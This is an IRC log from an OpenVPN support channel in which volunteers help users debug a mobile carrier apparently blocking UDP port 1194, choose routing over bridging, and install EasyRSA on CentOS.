17:44 <+pekster> (though I have seen creative uses under BSD/Linux of 240/4 for "extra" non-RFC1918 IP space)
17:45 < Moonlightning> in any case, the first bit of the traceroute are 255/8 IPs
17:45 < Moonlightning> then 10.160/11
17:45 <+pekster> alisonc: ref: RFC3171
17:46 <+pekster> Erm, I guess 5771 supersceeds that
17:46 < alisonc> hmm
17:46 < alisonc> I stand corrected
17:47 < Moonlightning> multicast makes sense here, I guess?
17:47 <+pekster> Moonlightning: So 10/8 is RFC1918; it seems your provider is using 255/8 as "nonstandard private address space" for some goofy reason
17:47 < Moonlightning> multicast, then local network
17:47  * Moonlightning nods.
17:47 <+pekster> No, not at all. 255/8 is _not_ multicast
17:47 <+pekster> 224/4 is multicast. 255/8 is not part of of that block
17:47 < alisonc> 224/4 is 224.0.0.0 through 239.255.255.255
17:48 < Moonlightning> Wait, so what am I doing with this traceroute again?
17:48 <+pekster> Moonlightning: Well, now that you confirmed you can get somewhere "real" (you did get to kernel.org, or at least a couple hops away, right?)
17:49 <+pekster> Moonlightning: You now need to pass the right flag to your traceroute tool to trace by sending data to the UDP destination port you want to use for your VPN
17:49 <+pekster> Trace to your server; if it dies in the first few hops (at your ISP's network) they're blocking it
17:49 <+pekster> What flags to use varies by the application
17:49 < Moonlightning> nope, can't do kernel.org fo some reason
17:49  * Moonlightning tries 198.145.20.140
17:50 -!- nofks [~nofks@CPE-65-31-252-65.new.res.rr.com] has quit [Read error: Connection reset by peer]
17:50 < Moonlightning> Huh, this is working for some reason.
17:50 < Moonlightning> hops 18..30 are unavailable though
17:50  * Moonlightning bumps up the max hop count
17:51 <+pekster> No, that's normal; it just means the final host (or a few from it) don't reply
17:51 <+pekster> In normal cases you never want to go past 30 anyway
17:51 < Moonlightning> well…I can't tell you if—oh, wait
17:51 <+pekster> Use of ICMP can "sometimes" get further, but it depends completely on the firewalls involved
17:51 < Moonlightning> Yeah, I got into the same /16 subnet as kernel.org
17:52 < Moonlightning> now try kernel.org on port 1194?
17:52 <+pekster> Well, try _your_ box on that IP ;)
17:52 <+pekster> s/IP/port/
17:52 < Moonlightning> Okay.
17:52 < Moonlightning> Yep, it works.
17:52 <+pekster> Check `traceroute --help` for useful flags to specify the port; note that some traceroute programs will _increment_ your destination port with each hop, which you want to turn off
17:53 < Moonlightning> It's an app, not actual traceroute :(
17:53 -!- nofks [~nofks@CPE-65-31-252-65.new.res.rr.com] has joined #openvpn
17:53 < Moonlightning> it seems to let me set the port though
17:53 <+pekster> So long as it doesn't increment, that's "probably" fine
17:53 < Moonlightning> > Edit initial UDP port value
17:53 < Moonlightning> darnit.
17:53 <+pekster> You could get clever and _decrement_ that value in the app for successive runs ;)
17:54 <+pekster> (trial 2 starting at 1193 means packet #2 has 1194)
17:54 < Moonlightning> Okay.
17:54 < Moonlightning> Here we go. Trial starting at port 1194.
17:54 <+pekster> Or get real tools :P
17:54 < Moonlightning> That's hard.
17:55 < Moonlightning> I've spent the last few days trying to get glibc and GNU coreutils onto this thing, with everyone yelling at me to just give up and use the apps.
17:55 < Moonlightning> Which I finally did.
17:55 <+pekster> Dunno, CM has pretty good userland support from the CLI out of the box
17:55 < Moonlightning> “What do you /really/ want to do?” “Uhh…well…” “There's an app you can use for that, right?” “Yes…but…” “USE THE APP DAMMIT”
17:55 <+pekster> With a rooted phone you can even `su` and get a real root prompt :)
17:55 < Moonlightning> anyway
17:56 < Moonlightning> starting from 1194 worked
17:56 < duoi> Question! When the OpenVPN binary(?) is compressed into a single ~400kb or so file, what exactly is it?
17:56 < Moonlightning> My server is on hop 19, looks like
17:56 <+pekster> I'm not really so sure your server/port is blocked then
17:56 < Moonlightning> So should I try starting at 1175?
17:56 <+pekster> Have you tried connecting with your phone and tcpdump'ing on the server?
17:57 < Moonlightning> Succeeded starting from port 1175, with my server on hop 19
17:57 <+pekster> duoi: I don't understand what you're asking
17:57 < Moonlightning> I'll do that now.
17:57 <+pekster> Moonlightning: Oh, you'd need to decrement, not incremnet
17:57 <+pekster> Most trace utils increment on successive hops, so if you start _lower_ the future hops test with _higher_ ports
17:57 < Moonlightning> That's what I did?
17:57 <+pekster> `man traceroute` on a real OS for some details
17:57 <+pekster> Oh, sorry; yes you did :)
17:58 < Moonlightning> …wait, wouldn't /tcpdump/ not give anything useful for UDP?
17:58 <+pekster> !tcpdump
17:58 <@vpnHelper> "tcpdump" is (#1) tcpdump is a great troubleshooting tool (Wireshark or the tshark.exe CLI tools for Windows.) To start, try a syntax like `tcpdump -pni ifWhatever` or (#2) You can also add filters to the command, like 'icmp' or 'udp port 1194' and the like. Consult the tcpdump docs for details.
17:58 <+pekster> Sample syntax @ #2
17:59 < Moonlightning> woh, wall of text
18:00 <+pekster> (tcpdump can dump L2 and up; "tcp" doesn't refer to tcp-only here)
18:00 <+pekster> tcpdump, nmap, and traceroute utilities are the "bread & butter" of network folks
18:01  * Moonlightning pipes this through grep…
18:01 < Moonlightning> …wait.
18:01 < duoi> pekster: If you can look here (it is a directory): http://download.qi.yi.org:10581/files/download/linux/mips/2.6/tl941n/openvpn/bin/ <- is that some sort of special build? where can I find the most up-to-date equivalent?
18:02 <@vpnHelper> Title: Index of /files/download/linux/mips/2.6/tl941n/openvpn/bin/ (at download.qi.yi.org:10581)
18:02 < Moonlightning> Can I stick an " and not ip $home_net_IP" or something in here?
18:02 < Beanie> pekster im thinking of going for bridging over routing what do you think
18:03 < Moonlightning> I told OpenVPN to reconnect, not getting anything from the dump…
18:03 < Moonlightning> did the traceroute, again, nothing either
18:03 < Beanie> ewww stop looking down the toilet
18:03 < Moonlightning> Can you check my math? I get off-by-ones a lot
18:03 < Moonlightning> the starting port is 1175 and my server is at hop 19
18:04 <+pekster> Moonlightning: Yes, you can do that. `tcpdump -pni ethWhatever udp port 1194 and not net 192.168.2.0/24` for example
18:04 <+pekster> Use "host" if you're using a single IP
18:04 < Moonlightning> Okay.
18:05 < Moonlightning> Got that. Reconnecting to the VPN from my phone
18:05 <+pekster> Oh, careful with 'net' since it'll probably omit traffic bound _for_ that network too
18:05 <+pekster> (you'd want 'src net' to limit by source network only)
18:05 < Moonlightning> but if the traffic is going TO that network, why would it end up on my server?
18:05 < Moonlightning> and not be dropped by the kernel before it got to tcpdump?
18:05 <+pekster> If you're using NAT the IPv4 border needs to NAT it to your server ;)
18:06 <+pekster> tcpdump hooks at the same place as the firewall does
18:06 < Moonlightning> Server's not behind NAT
18:06 < Moonlightning> Not that I can tell
18:06 <+pekster> Even if you "drop" traffic (eg, a netfilter -j DROP target) tcpdump still sees it
18:06 <+pekster> Beanie: Don't bridge unless you know why you're doing it. Info at: !tunortap and !whybridge
18:07 < Moonlightning> It has an IP in 64/4
18:07 -!- nofks [~nofks@CPE-65-31-252-65.new.res.rr.com] has quit [Remote host closed the connection]
18:07 < Moonlightning> That's what I've been using everywhere
18:07 < Moonlightning> i.e. in the OpenVPN client and all the traceroutes
18:07 <+pekster> duoi: I have zero clue. OpenVPN provides a source tarball and binary downloads for select systems, namely Windows and some popular apt-based Linux
18:07 <+pekster> Ask downstream what you should install becuase they're the ones that built it
18:07 < Beanie> pekster i need any platform to work with asterisk
18:08 <+pekster> Beanie: so
18:08 <+pekster> VoIP operates at L3; there's zero reason to bridge for VoIP
18:08 < Beanie> and i need a method which promotes sip and voip
18:08 <+pekster> Please read the references I gave you
18:08 < Beanie> ive already read http://openvpn.net/index.php/open-source/faq/community-software-general/309-what-is-the-difference-between-bridging-and-routing.html
18:08 <@vpnHelper> Title: What is the difference between bridging and routing? (at openvpn.net)
18:08 <+pekster> Yes, I understood that the first time you said it; I have _personally_ done VoIP (SIP/RTP) over a routed setup. I'm very aware of how those protocols work, and you do not need bridging at all for this
18:09 <+pekster> VoIP is not L2
18:09 <+pekster> Thus you do not need an L2 VPN
18:09 <+pekster> !tunortap
18:09 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. or (#2) and if your reason for wanting tap is windows shares, see !wins or use DNS or (#3) remember layer2 has no security, arp poisoning works over tap vpns or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices
18:09 <@vpnHelper> (not rooted/jailbroken) support only tun
18:09 <+pekster> and:
18:09 <+pekster> !whybridge
18:09 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
18:09 <+pekster> Beanie: ^^ the info I referenced earlier
18:09 < Beanie> i need multiple clients to be able to connect
18:09 <+pekster> Again: so what?
18:09 <+pekster> See the !howto for that
18:10 < Beanie> routing: Clients must use a WINS server (such as samba) to allow cross-VPN network browsing to work.
18:10 <+pekster> Not really
18:10 <+pekster> Learn to set up DNS properly and you don't need WINS at all
18:10 < Beanie> Works with any protocol that can function over ethernet, including IPv4, IPv6, Netware IPX, AppleTalk, etc.
18:10 <+pekster> Okay, you're doing a very bad job of listening here
18:11 < Beanie> i want a simple setup to allow me to connect in from home when i leave on tuesday
18:11 <+pekster> bridging is not simple
18:11 < Beanie> yes but just because it isnt simple doesnt mean that it isnt more appropriate to the flexability im looking to achieve without compromising security
18:11 <+pekster> It requires all sorts of messing around with server-side bridge interfaces and network changes, plus coordiantion with a range of IPs openvpn can use that your local DHCP server does _not_ hand out to clients
18:12 <+pekster> If you'd like to go that route, you're free to do so; it's usually the wrong solution compared to using a unique fake tld on your LAN (like "mylan.") and pushing DNS/DHCP options to VPN clients
18:12 < Beanie> Routes must be set up linking each subnet. seems like extra work in another direction
18:12 < Beanie> i respect your view but with everything in mind you say routing not bridging
18:12 <+pekster> Less work than the bridging setup
18:12 <+pekster> But YMMV; use the solution you want
18:12 < Beanie> but it still delivers the flexability i want?
18:13 <+pekster> "usually" bridging is the wrong solution
18:13 <+pekster> And yes, if you set up routing properly it all "just works"
18:13 < Beanie> but its got to be right for someone
18:13 < Beanie> ok routing it is :)
18:13 < Beanie> thanks
18:13 <+pekster> You type in "net use s: \\myPc.mylan\myshare" and it works
18:13 <+pekster> Of course, you need to have a properly functioning DNS setup on your LAN for that; dnsmasq is usually the best way for that
18:14 < Beanie> got ya is that all covered in the howto on open vpn?
18:14 <+pekster> A basic routed setup is. For DNS see the helper here: !pushdns
18:14 < Beanie> aha - what do i need to have in place for dns
18:14 < Beanie> i suppose thats worth exploring before i choose the route i go down
18:14 <+pekster> A DNS server
18:15 <+pekster> How is DNS handled now on  your LAN?
18:15 < Beanie> can that be built into my centos box
18:15 <+pekster> dnsmasq is easiest
18:15 < Beanie> through my router
18:15 <+pekster> It'll do DHCP and DNS for you
18:15 < Beanie> will the router and that not conflict
18:15 <+pekster> Well, that's mostly off-topic here; I don't know how your router is set up
18:15 < Beanie> and with the routed route can people access it from any platform
18:15 < Beanie> windows/apple/linux
18:16 <+pekster> Yes
18:16 < Beanie> and as many people as i like can connect?
18:16 <+pekster> More platforms actually; tap doens't work on iPhone/android
18:16 < Beanie> reeeeeett glad you said that
18:16 < Beanie> deff not the right route that then - i need to access from iphone
18:16 < Beanie> got a softphone on there
18:17 < Beanie> does the dns management side matter before ive chosen the route
18:17 < Beanie> or is that something for later
18:17 <+pekster> You can do it later, yea. It just means that you cant "ping myHomePC.mylan" unless you get it working
18:17 <+pekster> f.ex, my home domain is "matrix." so when I'm on my personal VPN I can "ping testbox.matrix" to reach my testbox
18:18 < Moonlightning> pekster: so OpenVPN has been trying to connect for quite a while now, and the tcpdump has nothing. What does that tell us?
18:18 < Moonlightning> The traceroute starting at port 1175 got my server at hop 19, but that didn't trigger any tcpdump output either
18:18 <+pekster> Moonlightning: either "packets are being sent but never arrive" or "packets aren't ever being sent"
18:19 <+pekster> Moonlightning: Try 1176; hop 1 probably uses the starting port
18:19 < Beanie> pekster: how do i actually test the vpn as i go along
18:19 < Moonlightning> I tried 1176 and 1174 too.
18:19 < Moonlightning> Nothing.
18:19 <+pekster> YMMV; I don't have any clue how this "app" works
18:19 <+pekster> Beanie: ping? Traceroute? nmap?
18:19 < Moonlightning> I'll grab a busybox…/app./ >.<
18:20 <+pekster> Beanie: You really need to read !howto, then !serverlan -- that covers the basics of a working VPN and exposing your server-side LAN
18:20 <+pekster> You can make DNS and such work later; initially you'll get access by IP only unless you make appropriate arrangements; openvpn is a network link, not a DNS server
18:21 <+pekster> If it helps, think of OpenVPN as a router; it will securely deliver data between 1 (or more) clients and your server, but openvpn is really "just a router" at its core
18:23 < Moonlightning> pekster: this traceroute doesn't have an option to not increment either :/
18:23 < Moonlightning> This is why I hate busybox…so many features missing >.<
18:24 < Moonlightning> No tracepath either.
18:24 <+pekster> Not much openvpn can do to fix crappy client OSes
18:24 < Moonlightning> I know.
18:25 < Moonlightning> …
18:25 < Moonlightning> > tracerute: socket(AF_INET,3,1): Operation not permitted
18:25  * Moonlightning screams
18:26 < Moonlightning> …oh, good, I can do it as root.
18:29 < Moonlightning> `traceroute -p 1176 $server` succeeded
18:29 <+pekster> That's probably TCP, not UDP
18:29 <+pekster> Oh, maybe not
18:30 < Moonlightning> -I is use ICMP instead of UDP datagrams
18:30 <+pekster> Yea, nevermind that (that probaby _is_ UDP.) So did your tcpdump show it?
18:30 < Moonlightning> Nope. Still nothing on the tcpdump.
18:30 <+pekster> How about you just try a differnet port on your client?
18:31 <+pekster> At the end of the day, openvpn will not work unless you can deliver packets to your server
18:31 < Moonlightning> couldn't I just redirect port 443 to port 1194 server-side with iptables?
18:31 <+pekster> what's 443 got to do with anything?
18:31 <+pekster> I mean, yes, but udp/443 isn't anything special
18:32 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has joined #openvpn
18:32 <+pekster> (https is tcp/443, which is completely unrelated to udp/443)
18:32 < Moonlightning> Argh.
18:32 <+pekster> !tcp
18:32 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
18:32 < Beanie> ive downloaded open vpn but its saying there are no files in there when i do ls -l
18:33 < Beanie> there may be more than one directory on there
18:33 < Beanie> i looked in the directory the open vpn website suggested
18:33 <+pekster> Beanie: Please follow the howto:
18:33 < Moonlightning> I don't suppose redirecting tcp/443 to udp/1194 would help
18:33 <+pekster> !howto
18:33 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
18:33 <+pekster> Moonlightning: There's no such thing
18:33 < Beanie> pekster - thats what i have done
18:33 <+pekster> Moonlightning: Sounds to me like you might need a refersher on networking basics
18:34 < Moonlightning> XD
18:34 < Moonlightning> Probably.
18:34 <+pekster> Beanie: Then I have no clue what you're asking
18:34 <+pekster> Moonlightning: tcp & udp are _completely_ unrelated protocols
18:34 <+pekster> OpenVPN can work over either, but not both (you can, however, run 2 instances: one on udp and 1 on tcp)
18:34 <+pekster> Read --proto in the manpage
18:35 < Moonlightning> is there any UDP port commonly used for encrypted connections? ;-;
18:35 < Moonlightning> an equivalent for hiding sshd under tcp/443
18:35 <+pekster> https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
18:35 <@vpnHelper> Title: List of TCP and UDP port numbers - Wikipedia, the free encyclopedia (at en.wikipedia.org)
18:35 <+pekster> udp/53 or udp/123 are sometimes fun
18:36 < Beanie> Pekster - i cant find the files
18:36 < Beanie> its saying the directory is empty
18:36 <+pekster> _what_ files Beanie?
18:36 < Beanie> that open vpn files should be in
18:36 < Moonlightning> but neither DNS nor NTP use encryption :(
18:36 < Moonlightning> well, I know DNS doesn't…
18:36 <+pekster> I still don't understand. What files are you expecting Beanie ?
18:36 <+pekster> Beanie: It's _your_ job to write a config file
18:36 < Moonlightning> maybe one of the mail ports
18:36 < Beanie> well should the directory be empty
18:37 <+pekster> Beanie: Try to explain better. What is "the directory" ?
18:37 <+pekster> What directory?
18:37 <+pekster> Moonlightning: SMTP/POP/IMAP/Submission are all tcp protocols
18:37 < Moonlightning> >.<
18:37 <+pekster> Maybe this is useful for you Moonlightning:
18:37 <+pekster> !tcpip
18:37 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
18:38 <+pekster> To be very blunt, you're going to have a bad time with OpenVPN if you are new to basic networking concepts
18:39 <+pekster> What I've done in the past is take my VPN server and use NAT to expose it on a variety of ports; I'll run 2 instances, one for tcp, a 2nd on udp, then forward "interesting" ports into it
18:39 < Beanie> "If you are using Windows, open up a Command Prompt window and cd to \Program Files\OpenVPN\easy-rsa. Run the following batch file to copy configuration files into place (this will overwrite any preexisting vars.bat and openssl.cnf files):
18:39 < Beanie> init-config"
18:40 < Beanie> well there must be some files
18:40 <+pekster> Beanie: This is the first you've explained you're on Windows, or that you're trying to use Easy-RSA
18:40 <+pekster> Beanie: Did you install the optional, non-default Easy-RSA tools when you ran the Windows openvpn installer?
18:41 <+pekster> If not, you should go do that now
18:41 < Beanie> sorry, yes, my bad no im on centos
18:41 <+pekster> Okay, the best thing for you to do is downoad the easyrsa releases from the official project here: https://github.com/OpenVPN/easy-rsa/releases
18:41 <@vpnHelper> Title: Releases · OpenVPN/easy-rsa · GitHub (at github.com)
18:41 <+pekster> Extract that somewhere (under a homedir is fine) ideally as _not_ your root user
18:42 <+pekster> Then cd into the easyrsa dir and continue to follow the instructions in the !howto for your PKI setup
18:42 -!- Fetch [fetch@gimel.cepheid.org] has quit [Ping timeout: 246 seconds]
18:43 < Moonlightning> https://grepular.com/Punching_through_The_Great_Firewall_of_TMobile
18:43 <@vpnHelper> Title: Punching through The Great Firewall of T-Mobile (at grepular.com)
18:43  * Moonlightning groans.
18:43 < Moonlightning> iptables…wish me luck getting that on my phone…
18:44 <+pekster> Lousy website requires RC4 encryption
18:44 < Moonlightning> s/^https/http/?
18:45 < Beanie> thanks ever so much Pekster
18:45 <+pekster> Beanie: Sure, just try to explain a little more clearly what you're doing next time
18:46 < Beanie> sorry :-)
18:46 <+pekster> Moonlightning: No, it auto-redirects to https, which is funny since rc4 is pretty weak crypto
18:46 < Beanie> sorry to be a pain but ive just gone to this link
18:46 < Beanie> and it appears to just be a list of easy rsa downloads
18:46 < Moonlightning> Huh.
18:46 <+pekster> So download the tgz file and extract it?
18:47 <+pekster> If that's beyond your skills 1) you probably shouldn't be setting up openvpn, and 2) maybe try "how to extract tgz" into google?
18:47 < Beanie> i think i just might be able to manage that but ive already installed easy rsa from yum
18:48 <+pekster> And their copy is wickedly out of date
18:48 <+pekster> Please don't use RHEL cruft in this case
18:48 < Moonlightning> > Enterprise Linux
18:48 < Beanie> ok so i need to delete easy rsa
18:48 < Moonlightning> wat.
18:48 < Beanie> and then grab their version
18:48 <+pekster> No, just put it in your homedir
18:48 <+pekster> Leave their stuff alone; just ignore it
18:48 <+pekster> Moonlightning: "Enterprise", aka "years out of date"
18:49 <+pekster> Oh, sorry, they call it "stable" ;)
18:49 < Moonlightning> I find that Debian does that too.
18:50 < Beanie> but im still going to need to download the files right which are not shipped with this one
18:50 < Beanie> as the dir is empty
18:52 <+pekster> I have no clue offhand where centos puts the easyrsa files
18:53 <+pekster> Go ask them package maintainer, or learn to query your OS for where that package's installed files go
18:53 <+pekster> !101
18:53 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
18:53 <+pekster> This is the wrong place to learn to use your OS
18:53 <+pekster> EasyRSA is very simple to "install" from us (the people who maintain the project.) 1) go to that URL 2) download the tarball 3) extrac it
18:53 <+pekster> extract*
18:54 < Beanie> right you told me above not to download it again
18:54 < Beanie> now your telling me i should?
18:55 <+pekster> This is now the 3rd time I've told you to download it
18:55 <+pekster> http://fpaste.org/54684/13847361/
18:55 <+pekster> Are those directions unclear? Can I clarify them for you?
18:57 -!- alisonc [~alisonc@unaffiliated/alisonc] has left #openvpn []
18:57 < debbie10t> if kearning to use your OS is a 101 issue why tell people not to run as root
18:57 < debbie10t> *learning
18:57 < Beanie> pekster, yes you can please
18:58 < Beanie> firstly,
18:58 <+pekster> Good grief. WHat part of "download and extract the tarball" don't you get?
18:58 < Beanie> i should delete what ive installed then - Easy RSA
18:58 <+pekster> NO!!!
18:58 <+pekster> FFS
18:58 < Beanie> well whats the point in having it TWICE then
18:58 < Beanie> ive already got it installed
18:58 < Beanie> your telling me to go download it again
18:58 <+pekster> 18:48:38 <+pekster> Leave their stuff alone; just ignore it
18:59 <+pekster> You have an ancient version that CentOS ships installed
18:59 < Beanie> well ive just yummed it actually
18:59 < Moonlightning> yum version = ancient, Beanie
18:59 < Moonlightning> don't use the yum version
18:59 <+pekster> It's out of date. It's less secure. It doesn't have the rescent bugfixes. And you apparently have no clue where it's installed to
18:59 < Moonlightning> use the version openvpn gives you
18:59 < Moonlightning> the version pekster told you about
18:59 <+pekster> OpenVPN doesn't anymore; you download/extract/install easyrsa from the link I've give you multiple times now
18:59 < Beanie> github right
19:00 <+pekster> I'm not giving you the URL again. Scroll up and find it yourself
19:00 <+pekster> debbie10t: Same reason you shouldn't run your daily accont as root; it's very much bad practice (just look at Windows ;)
19:01 < Beanie> so ive just done wget https://github.com/OpenVPN/easy-rsa/releases/download/2.2.2/EasyRSA-2.2.2.tgz
19:01 -!- Matviy [~Matviy@99-44-172-201.lightspeed.snjsca.sbcglobal.net] has joined #openvpn
19:02 < Beanie> correct so far?
19:02 < Moonlightning> (I'm on the phone with T-Mobile. Apparently VPNs are not “supported”)
19:03 < Moonlightning> (I don't get why they don't just route my damn packets like they should.)
19:03 < Beanie> t mobile are appalling Moonlightning
19:03 -!- s7r_u [~s7r@openvpn/user/s7r] has joined #openvpn
19:03 -!- mode/#openvpn [+v s7r_u] by ChanServ
19:03 < Moonlightning> Now I'm being transferred for a third time.
19:03 < Moonlightning> x.x
19:03 < Beanie> crikey - pursue it it pays off :)
19:04 < Beanie> you need a lot of patience and calm
19:04 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
19:04 < Moonlightning> I know.
19:04 < Beanie> enjoy tea or your favourite drink when your on the phone to them
19:04 < Moonlightning> XD
19:04 < Beanie> cheer yourself up :)
19:04 < Moonlightning> I doubt this will get resolved like this, either.
19:04 < Moonlightning> I'm just seeing how far this gets. 9.9
19:04 < Moonlightning> 20 minute mark
19:04 < Beanie> Pekster - sorry to p*** you off - i dont mean to :)
19:09 < debbie10t> been there .. tried not to do that .. failed.
19:10 < Moonlightning> …
19:10 < Beanie> whats the difference between tgz and tar.gz
19:11 < Moonlightning> T-Mobile tech support says to contact the admin of the VPN.
19:11 < Beanie> is tgz ok?
19:11 < Moonlightning> wut do?
19:14 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
19:15 < debbie10t> been there .. tried not to do that .. failed. Got it on a T shirt now.
19:15  * Moonlightning exhales.
19:15 < debbie10t> support eh ...
19:15 < Moonlightning> after half an hour…“we don't support VPNs; we can transfer you over to tech support for your device, but you've exhausted our network troubleshooting”
19:15 < debbie10t> are you still on the phone to tmobile ?
19:15 < Moonlightning> Nope, I hung up
19:16 < Moonlightning> time to do this the Internet way. :P
19:16 < Moonlightning> > Punching through The Great Firewall of T-Mobile
19:16 < Moonlightning> https://grepular.com/Punching_through_The_Great_Firewall_of_TMobile
19:16 <@vpnHelper> Title: Punching through The Great Firewall of T-Mobile (at grepular.com)
19:16 < debbie10t> lol
19:16 < Moonlightning> ssh on port 22 works fine.
19:16 -!- bogie [bogie@2001:4ba0:fffd:65::101] has quit [Ping timeout: 245 seconds]
19:16 < debbie10t> is it just 1194 ?
19:16 < Moonlightning> yeah.
19:17 < Moonlightning> They're not going to just drop all UDP packets because of things like VoIP, right?
19:17 < debbie10t> exactly
19:18 < debbie10t> i realise you have been here with pekster for hours so i don't want to jump in to a swamp
19:18 -!- bogie [bogie@2001:4ba0:fffd:65::101] has joined #openvpn
19:18 < Moonlightning> well, go ahead, I don't mind
19:19 < Beanie> well its everyones room debbie :)
19:19 < debbie10t> i am not sure i would even know where to start but i am surprised that tmobile would actually block udp1194 like that
19:19 < Moonlightning> I wonder if I could hack something together that would let me tunnel over SSH over UDP
19:19 < Beanie> Pekster are you still around
19:20 <+pekster> Not if you need help learning to extract tar files, no
19:20 <+pekster> `man tar` or ##linux for that
19:20 < Beanie> i dont need help with that - all as im looking for is clarification
19:21 < Beanie> wasn't it you who said googling is good but clarifying is also good
19:22 <+pekster> Do you really want to know if I'm here, or do you perhaps intend to ask a question? http://catb.org/~esr/faqs/smart-questions.html#prune
19:22 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
19:22 < Beanie> essentially all as my question is is https://github.com/OpenVPN/easy-rsa/releases/download/2.2.2/EasyRSA-2.2.2.tgz the right file
19:22 <+pekster> Yes
19:22 < Beanie> great :)
19:22 <+pekster> Unless you're on Windows, in which case you want the Windows download (a .zip)
19:22 < Beanie> so now, im going to google unpacking it
19:22 < Beanie> yeah windows im cool with :)
19:22 < Beanie> im a windows kid
19:23 < Moonlightning> good, busybox installed netact
19:23 < Moonlightning> netcat *
19:23 < Moonlightning> time to experiment.
19:23 < Beanie> and tar xzvf EasyRSA-2.2.2.tar.tgz?
19:24 < Beanie> to unpack
19:24 <+pekster> I'm not spoonfeeding you the entire setup process
19:24 < Beanie> just a yes/no to that bit pleassssee :)
19:24 <+pekster> As I stated before, if you're so new to Linux/Unix that you have no clue what a tarball is or how to extract a gzip'ed tar you're not going to be able to use OpenVPN meaningfully
19:24 <+pekster> /join ##linux and ask them
19:25 < Beanie> thanks!
19:25 < Moonlightning> AHA.
19:25 < debbie10t> Moonlightning ?
19:25 < Moonlightning> wait…
19:25 < debbie10t> ing
19:26 < Moonlightning> no, I'm not sure this is…
19:26 < Moonlightning> 6_9
19:26 < Moonlightning> I need to find what my phone's external IP is so I can filter by that
19:26 < Moonlightning> this tcpdump is too broad
19:26 < debbie10t> networks are busy places
19:27 < Moonlightning> yup
19:29 < Moonlightning> Okay, just the one port.
19:29 < Moonlightning> nope, nothing
19:30 < debbie10t> is it your phone that will not connect to your vpn server ?
19:30 < Moonlightning> not my phone; it works fine over Wi-Fi
19:30 < Moonlightning> also see the article on the Great Firewall of T-Mobile
19:31 < debbie10t> but over tmobile it fails ?
19:31 < Moonlightning> yep.
19:31 < debbie10t> and you are trying to determine if any packets are arriving at your server from your phone over tmobile ?
19:32 < Moonlightning> Yeah.
19:32 < debbie10t> amd none do ?
19:32 < Moonlightning> traceroutes work
19:32 < Moonlightning> I can ssh, to port 22
19:32 < debbie10t> but not udp1194
19:32 < Moonlightning> yep
19:32 < debbie10t> why not try another port
19:32 < debbie10t> as a test
19:32 < Moonlightning> …
19:33 < Moonlightning> wait a second.
19:33  * Moonlightning facehoofs so hard
19:33 < Moonlightning> I haven't been telling netcat to use UDP
19:33 < Moonlightning> no /wonder…/
19:33 < Moonlightning> looks like it doesn't support it either.
19:34 < Moonlightning> …
19:34 < Moonlightning> holy SHIT
19:34 < Moonlightning> Do I really have iptables?!
19:34 < Moonlightning> hah, maybe I could redirect all outbound UDP packets to my server, port 1194
19:34 < Moonlightning> really bad, but at least it'd tell me if anything gets through
19:37 < Moonlightning> I dunno
19:37 < debbie10t> i presume all peksters advice was helpful to you ?
19:37 < acu>  !clientlan
19:38 < Moonlightning> NMAP. Do I have nmap?
19:38 < Moonlightning> no. dammit.
19:38 < acu> !clientlan
19:38 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
19:38 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
19:40 < Moonlightning> acu: who was that directed at?
19:40 < Moonlightning> …WAIT A SECOND
19:40 < Moonlightning> I can make this…
19:41 < Moonlightning> …
19:41 < Moonlightning> oh what the hell
19:41 < Moonlightning> fff
19:42  * Moonlightning drops all reset packets
19:42 < debbie10t> this is starting to sound like running commentary to me .
19:42 < Moonlightning> It is. Sorry. >.<
19:42 < debbie10t> your time not mine
19:44 -!- Fetch [fetch@gimel.cepheid.org] has joined #openvpn
19:53 < acu> I made the OpenVPN server with a samba share in the same machine - I also made a client OpenVPN (winXP- and able to connect to the OpenVPNserver - and mount the share (not through netbios -but through IP and share - ) however now i want to make a remote clientVPN - remoteLAN and do not know what I need - a server and configure it as what ?
19:54 <+pekster> acu: What's the high-level goal here? You want access to the client-side LAN across the VPN?
19:57 <+pekster> If so, see: !clientlan
20:01 < acu> pekster, I just want the ClientLAN (or RemoteLAN) computers/users - to be able to access a share in the HQ-LAN (OpenVPN) server - where I have the samba share too (I would have liked it in another machine but that is for another time) --- my HQ-LAN OpenVPN server connects straight to internet - but I do not know what exactly I need in the clientLAN - I need a machine/server and configure what ?
20:02 < acu> !clientlan
20:02 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
